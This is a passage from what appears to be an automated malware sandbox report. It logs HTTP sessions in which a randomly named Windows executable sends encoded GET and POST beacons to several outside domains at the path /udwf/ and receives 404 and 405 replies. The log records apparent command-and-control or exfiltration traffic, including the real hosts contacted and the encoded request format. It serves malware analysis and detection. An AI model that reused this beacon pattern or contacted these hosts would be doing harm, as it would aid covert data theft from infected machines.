4f 71 39 58 68 35 47 72 32 50 73 46 2f 64 33 4f 6c 53 50 68 75 4e 37 31 38 65 76 65 36 73 68 38 48 4a 73 70 56 30 53 50 53 7a 4e 47 74 2b 6c 6d 78 38 6e 2b 7a 35 35 73 5a 6d 46 4c 44 78 52 58 7a 38 6e 4f 65 52 35 46 65 49 68 77 4f 6a 67 36 46 37 52 41 6f 34 4d 67 6d 4e 2b 36 32 53 32 6c 42 71 45 66 47 45 69 63 44 79 6b 77 41 4b 35 2b 63 45 6d 6c 4f 73 6f 5a 77 74 36 6a 67 52 39 4a 6c 4a 58 42 68 4e 67 48 6d 30 34 6f 57 74 59 6a 42 66 78 68 55 75 46 57 37 47 35 77 62 47 51 36 35 4b 46 2f 74 73 77 74 52 4e 36 45 30 6a 76 54 38 31 4b 49 47 72 43 75 62 48 4b 46 79 33 41 72 6b 6d 4f 38 71 51 33 49 6d 36 58 43 68 5a 6e 4c 34 51 72 2f 64 54 44 52 71 79 73 2f 74 35 4d 6f 53 70 6d 64 54 35 39 6d 4d 46 6e 68 66 61 6b 2b 45 6b 45 61 57 42 42 66 74 63 6c 4d 53 47 4b 6d 72 68 62 53 71 7a 4a 57 74 45 34 48 45 5a 32 2f 52 53 74 36 4d 72 4a 46 2b 50 46 31 65 50 61 2f 31 58 4e 38 32 67 72 32 66 68 79 53 50 72 31 4d 31 66 2b 42 39 4e 6c 66 42 32 42 73 5a 45 53 76 56 4a 41 63 55 7a 30 64 4f 71 47 70 43 49 54 68 48 52 49 37 31 2f 69 4e 48 71 41 6b 62 75 57 48 4a 33 62 55 50 6e 6c 38 55 56 58 32 62 41 61 6f 49 37 65 31 75 58 78 39 6f 52 75 39 71 75 64 6d 74 30 54 51 52 45 41 66 34 4f 58 37 55 52 64 39 56 52 7a 43 33 70 38 58 62 59 58 57 54 62 6d 62 4c 69 65 53 67 33 71 35 47 49 54 4b 63 54 45 55 73 6f 65 2f 67 41 7a 38 6f 58 56 63 6c 49 74 59 62 6f 4c 7a 2b 6f 49 6a 6c 78 2f 7a 5a 30 30 4e 69 7a 72 67 43 6c 2f 65 36 2f 63 43 69 47 79 2f 39 30 48 4e 53 76 50 41 52 47 67 37 50 47 67 78 5a 52 67 57 57 6f 2b 77 39 46 5a 31 68 6f 48 55 33 37 2b 4f 38 7a 72 6b 68 51 6b 6e 32 45 69 78 32 42 37 56 59 34 35 42 52 57 55 71 55 34 61 4c 38 37 4a 69 5a 41 68 33 79 48 6f 33 30 39 54 48 6a 55 4a 6e 61 46 37 68 37 69 4f 35 61 31 52 33 43 47 4d 38 36 30 44 76 74 4b 2f 58 63 49 50 42 43 78 58 34 57 58 62 42 71 38 56 54 43 77 4b 4d 54 44 46 58 42 63 57 31 69 6f 37 44 63 65 52 50 67 4a 4e 59 78 50 46 63 4e 62 6d 76 43 76 53 54 30 61 75 70 78 38 6b 62 39 55 30 6c 30 56 6c 7a 59 74 5a 44 39 30 79 74 55 6f 39 64 6d 5a 33 50 45 51 5a 51 77 4b 69 32 39 32 66 6a 66 5a 76 62 4b 78 76 4a 33 38 59 51 64 70 76 37 45 58 72 62 43 58 37 69 53 36 32 50 6c 2f 6c 35 67 55 66 36 45 55 64 62 52 55 52 79 52 64 6f 65 4f 77 31 49 37 38 4c 55 2f 30 6e 50 6e 68 6a 51 5a 51 59 62 50 53 39 50 4f 30 36 69 56 44 50 64 47 4c 68 44 45 2b 6c 4b 2f 2b 4f 75 51 38 59 47 63 4b 30 53 69 37 47 4a 55 57 6f 64 46 49 49 52 57 34 77 41 58 64 4b 59 56 54 7a 39 47 55 4a 4b 6f 6e 57 34 6b 73 6b 76 32 67 79 70 6c 6c 35 77 6f 7a 72 50 74 59 6f 77 37 31 48 58 6f 41 62 65 6e 4a 79 62 50 35 56 45 4b 6d 4c 4b 38 4a 54 78 72 53 72 7a 34 37 59 32 6e 52 57 4e 6c 63 55 59 42 4b 38 62 73 77 45 59 2b 75 57 78 62 68 79 57 54 4f 43 72 67 72 62 51 59 69 69 75 34 72 4d 31 55 50 57 4b 65 7a 4e 38 6a 49 63 53 4a 66 71 33 36 Data Ascii: G0Yxd2Q=TYN5jIIWuIP8cJgFK+z19/+fn1BljPlGQRgTZ29fLQakjZcZeGT1AmYNMIYjkTRfwyuThwuYfdndKfYHx0uKt+yFpTWD3mpjYZVhpfEjfm9LpfPOSgdm+lgvogpbz4sS4ClxzJFnqT51RBuGO49y9zeRRdNZWaXhPEYCfpfSyBv+5hLSMfhHKAdJQ7tizh4pafQmqxe12StvRSC9UQlUNjZoBg+f92ScBvR1G9leVM1fVr7qfWQwAgPEWkBaYsh1/BNsHTF79H5+Suvuph360ogPk79Eh4MOq9Xh5Gr2PsF/d3OlSPhuN718eve6sh8HJspV0SPSzNGt+lmx8n+z55sZmFLDxRXz8nOeR5FeIhwOjg6F7RAo4MgmN+62S2lBqEfGEicDykwAK5+cEmlOsoZwt6jgR9JlJXBhNgHm04oWtYjBfxhUuFW7G5wbGQ65KF/tswtRN6E0jvT81KIGrCubHKFy3ArkmO8qQ3Im6XChZnL4Qr/dTDRqys/t5MoSpmdT59mMFnhfak+EkEaWBBftclMSGKmrhbSqzJWtE4HEZ2/RSt6MrJF+PF1ePa/1XN82gr2fhySPr1M1f+B9NlfB2BsZESvVJAcUz0dOqGpCIThHRI71/iNHqAkbuWHJ3bUPnl8UVX2bAaoI7e1uXx9oRu9qudmt0TQREAf4OX7URd9VRzC3p8XbYXWTbmbLieSg3q5GITKcTEUsoe/gAz8oXVclItYboLz+oIjlx/zZ00NizrgCl/e6/cCiGy/90HNSvPARGg7PGgxZRgWWo+w9FZ1hoHU37+O8zrkhQkn2Eix2B7VY45BRWUqU4aL87JiZAh3yHo309THjUJnaF7h7iO5a1R3CGM860DvtK/XcIPBCxX4WXbBq8VTCwKMTDFXBcW1io7DceRPgJNYxPFcNbmvCvST0aupx8kb9U0l0VlzYtZD90ytUo9dmZ3PEQZQwKi292fjfZvbKxvJ38YQdpv7EXrbCX7iS62Pl/l5gUf6EUdbRURyRdoeOw1I78LU/0nPnhjQZQYbPS9PO06iVDPdGLhDE+lK/+OuQ8YGcK0Si7GJUWodFIIRW4wAXdKYVTz9GUJKonW4kskv2gypll5wozrPtYow71HXoAbenJybP5VEKmLK8JTxrSrz47Y2nRWNlcUYBK8bswEY+uWxbhyWTOCrgrbQYiiu4rM1UPWKezN8jIcSJfq36
Nov 10, 2023 09:30:52.239691019 CET	337	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Nov 2023 08:30:52 GMT vary: User-Agent access-control-allow-origin: * access-control-allow-methods: GET,POST,OPTIONS,DELETE Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.10	49767	136.243.218.18	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:30:55.933465958 CET	338	OUT	GET /udwf/?G0Yxd2Q=ealZg/ITvpLJU7YFE/TF+8q+uExFybxcdjgzbBdGHgaAn5MnYWXQDBclabNRkiFFmFTfmTH8N/zDLP0J5EOM1vyD30GW5j90MQ==&pp=dZa4 HTTP/1.1 Host: www.sorenad.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Nov 10, 2023 09:30:56.240942001 CET	339	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Nov 2023 08:30:56 GMT vary: User-Agent access-control-allow-origin: * access-control-allow-methods: GET,POST,OPTIONS,DELETE Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.10	49768	91.195.240.19	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:31:01.942513943 CET	340	OUT	POST /udwf/ HTTP/1.1 Host: www.westcoastmedia.marketing Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.westcoastmedia.marketing Referer: http://www.westcoastmedia.marketing/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 188 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 61 42 45 4f 37 43 49 35 38 45 39 4c 4d 44 74 79 4d 4d 56 65 30 33 4d 30 45 6b 6d 75 55 74 57 46 35 45 61 63 75 7a 68 58 44 51 45 78 63 69 4b 43 30 36 58 78 42 59 38 56 41 59 32 6c 79 70 74 6e 5a 45 51 76 2f 6b 37 63 64 4e 70 46 34 45 6a 75 73 5a 6b 47 73 30 7a 78 79 37 69 59 43 72 52 69 37 47 47 4f 38 4e 65 57 37 4b 6c 39 2f 51 43 41 63 38 79 43 4d 78 6f 79 5a 6b 52 6a 4a 78 59 32 38 58 71 4b 52 7a 39 31 68 4d 58 33 6c 4c 45 33 53 54 6c 73 32 38 4a 46 50 4d 66 39 38 58 57 76 53 37 70 69 49 56 48 7a 4c 6a 43 73 79 50 66 65 37 51 3d 3d Data Ascii: G0Yxd2Q=aBEO7CI58E9LMDtyMMVe03M0EkmuUtWF5EacuzhXDQExciKC06XxBY8VAY2lyptnZEQv/k7cdNpF4EjusZkGs0zxy7iYCrRi7GGO8NeW7Kl9/QCAc8yCMxoyZkRjJxY28XqKRz91hMX3lLE3STls28JFPMf98XWvS7piIVHzLjCsyPfe7Q==
Nov 10, 2023 09:31:02.248675108 CET	341	IN	HTTP/1.1 405 Not Allowed date: Fri, 10 Nov 2023 08:31:02 GMT content-type: text/html content-length: 154 server: NginX connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.10	49769	91.195.240.19	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:31:04.777517080 CET	342	OUT	POST /udwf/ HTTP/1.1 Host: www.westcoastmedia.marketing Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.westcoastmedia.marketing Referer: http://www.westcoastmedia.marketing/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 208 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 61 42 45 4f 37 43 49 35 38 45 39 4c 4e 6a 64 79 4f 76 74 65 7a 58 4d 37 4f 45 6d 75 42 64 57 42 35 45 57 63 75 78 4e 48 44 6a 77 78 64 48 75 43 7a 4c 58 78 43 59 38 56 59 49 32 6b 2f 4a 74 67 5a 45 63 6e 2f 68 62 63 64 4c 46 46 34 45 54 75 72 75 51 42 74 6b 7a 7a 2f 62 69 57 4d 4c 52 69 37 47 47 4f 38 4f 69 73 37 4b 64 39 2b 6a 71 41 64 65 61 42 50 78 6f 78 65 6b 52 6a 61 68 59 79 38 58 71 34 52 33 39 54 68 4f 76 33 6c 4c 55 33 56 43 6c 76 6a 4d 4a 44 52 38 65 34 7a 56 44 35 52 62 4e 75 4e 47 44 46 53 57 76 43 7a 61 7a 4e 38 69 51 72 50 5a 76 43 6a 54 6b 4e 71 4f 63 44 59 50 39 55 58 6a 63 3d Data Ascii: G0Yxd2Q=aBEO7CI58E9LNjdyOvtezXM7OEmuBdWB5EWcuxNHDjwxdHuCzLXxCY8VYI2k/JtgZEcn/hbcdLFF4ETuruQBtkzz/biWMLRi7GGO8Ois7Kd9+jqAdeaBPxoxekRjahYy8Xq4R39ThOv3lLU3VClvjMJDR8e4zVD5RbNuNGDFSWvCzazN8iQrPZvCjTkNqOcDYP9UXjc=
Nov 10, 2023 09:31:05.085036039 CET	342	IN	HTTP/1.1 405 Not Allowed date: Fri, 10 Nov 2023 08:31:04 GMT content-type: text/html content-length: 154 server: NginX connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.10	49770	91.195.240.19	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:31:07.603514910 CET	344	OUT	POST /udwf/ HTTP/1.1 Host: www.westcoastmedia.marketing Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.westcoastmedia.marketing Referer: http://www.westcoastmedia.marketing/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 1220 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 61 42 45 4f 37 43 49 35 38 45 39 4c 4e 6a 64 79 4f 76 74 65 7a 58 4d 37 4f 45 6d 75 42 64 57 42 35 45 57 63 75 78 4e 48 44 69 49 78 64 30 57 43 30 59 2f 78 44 59 38 56 51 6f 32 68 2f 4a 74 78 5a 45 45 6a 2f 68 66 4d 64 49 78 46 35 6e 62 75 75 61 4d 42 6b 6b 7a 7a 32 37 69 58 43 72 51 6d 37 47 33 47 38 4e 4b 73 37 4b 64 39 2b 6d 75 41 4c 38 79 42 44 52 6f 79 5a 6b 52 6e 4a 78 59 61 38 58 79 53 52 33 70 6c 68 36 62 33 6b 72 6b 33 54 30 5a 76 2f 63 4a 42 51 38 65 65 7a 56 65 6e 52 62 67 64 4e 48 48 6a 53 57 58 43 77 63 65 41 75 43 6b 76 4c 59 66 34 73 42 77 55 68 5a 55 4b 66 36 52 67 46 30 61 37 45 4b 65 71 66 68 39 69 33 56 70 61 56 39 78 79 75 6c 79 47 4a 70 77 52 78 44 4f 41 68 31 62 76 6a 5a 7a 51 61 58 6a 51 71 48 46 5a 4a 30 35 42 68 2b 4c 71 39 73 55 47 50 65 7a 45 58 67 38 65 6d 48 61 73 41 72 42 49 47 74 55 45 53 34 66 5a 4d 6a 54 42 4a 37 5a 6f 63 4c 4b 37 50 72 42 4a 35 61 70 34 62 36 6d 30 75 4a 56 44 50 52 56 54 71 45 4b 6f 2f 62 38 31 4b 77 51 72 72 45 48 69 77 53 77 45 6f 75 6b 72 79 67 65 4a 4e 51 6b 50 77 64 6c 6c 5a 64 30 52 54 45 45 50 72 6f 30 70 58 4d 55 2f 67 48 52 44 4a 30 37 63 47 73 76 4a 57 4a 38 77 4a 55 50 37 32 47 39 66 72 31 70 52 2f 33 72 2b 32 35 4a 44 6f 67 62 42 50 58 61 6c 57 55 39 44 32 37 67 6b 47 44 54 6d 71 47 4e 51 7a 73 73 6e 65 32 48 73 2f 72 52 4b 51 38 6d 6b 55 49 78 5a 75 6e 65 68 70 2b 74 69 33 38 37 49 42 6a 45 76 54 32 57 6d 6c 4e 6d 74 33 71 6f 57 64 33 65 77 45 78 65 56 56 38 64 58 55 42 52 34 56 4f 43 32 2b 6e 39 34 78 46 44 77 69 44 63 6f 52 4f 56 35 48 66 47 66 6e 69 2b 64 4c 33 33 6e 2b 54 53 46 47 51 31 53 55 44 52 76 72 5a 4d 4e 69 47 67 47 32 79 63 68 6d 50 4f 72 77 43 51 52 6c 74 39 7a 4f 6d 74 67 54 63 51 6a 4b 43 6f 64 39 6d 50 79 6c 43 68 54 74 4c 36 70 69 64 48 70 46 36 35 34 57 59 6e 62 79 6c 53 44 74 76 71 43 6c 2b 44 32 4e 4f 49 35 6c 74 47 38 38 2f 67 2b 56 71 66 70 54 42 2f 43 33 4a 57 5a 54 35 4c 4f 5a 55 4b 62 30 58 42 46 7a 4d 55 73 66 43 7a 63 43 2b 4d 38 39 56 41 59 33 66 49 72 30 66 66 43 31 38 6c 4f 4c 75 4f 6b 6e 62 2f 64 4e 52 38 61 65 50 44 51 37 4e 6d 76 42 76 70 4a 32 43 42 45 34 74 50 70 4a 39 73 6d 68 65 6d 62 52 49 6b 64 35 2f 54 6d 2b 79 42 7a 48 68 78 57 75 44 43 47 7a 2b 71 6c 49 57 6a 79 67 46 58 7a 44 51 7a 30 44 69 2b 32 66 65 30 31 55 49 36 65 6e 6e 55 31 2b 72 39 62 52 79 38 31 61 56 52 6a 7a 37 6f 36 35 76 38 46 6d 32 72 75 2f 54 50 34 2f 76 45 76 51 43 47 52 6a 7a 69 32 62 50 72 6d 4a 61 61 42 39 4d 56 73 61 77 49 6e 55 7a 42 77 32 4e 6c 33 79 51 41 33 4e 61 6b 4b 58 74 69 4b 44 30 62 61 4c 5a 38 65 71 55 64 43 61 38 4b 71 69 70 4b 56 78 6e 4f 55 49 7a 42 39 78 69 36 51 4a 61 75 2b 64 69 52 57 48 4f 54 6a 44 70 44 67 32 50 77 38 45 54 2f 48 75 37 48 46 33 4c 37 2b 6c 49 51 52 78 68 55 4a 50 5a 48 4b 72 42 78 46 49 66 44 4e 64 4c 54 6b 78 37 4f 79 45 6b 4d 67 74 39 36 42 48 43 6a 54 6b 39 30 35 62 49 6a 2b 2b 4e 76 51 54 47 61 68 53 54 4a 2f 49 46 74 6e 4c 6d 4a 76 33 6f 7a 68 71 4c 54 52 46 37 70 74 33 39 53 49 53 79 54 77 4e 37 77 2f 57 35 77 57 62 72 46 6f 79 4e 6a 34 70 39 62 63 38 6b 56 36 30 6c 58 31 62 43 73 50 6e 34 4e 4d 49 30 47 47 4d 63 46 55 4d 44 78 6e 56 32 76 65 66 35 2b 41 6a 67 6a 7a 59 32 32 66 6a 6b 32 41 4c 64 41 71 58 69 78 6e 61 51 57 43 6e 68 68 47 70 69 6c 58 66 68 5a 59 31 39 62 32 59 4a 4e 30 51 53 6b 79 77 74 6a 2f 4a 39 46 41 67 31 6a 75 42 67 75 77 2b 6f 76 4c 39 49 64 78 49 63 57 6a 4d 2b 6c 53 73 61 55 38 79 2f 31 6e 77 69 58 7a 67 51 65 63 54 43 46 41 66 66 56 71 75 48 6b 43 61 49 65 31 2b 44 52 42 32 48 4d 6c 49 37 62 6c 34 35 37 6a 71 62 71 70 31 6a 41 6c 55 56 66 57 62 39 37 71 45 33 4d 47 52 65 46 33 78 30 6b 52 47 43 73 4e 37 7a 4e 4d 47 5a 74 69 Data Ascii: 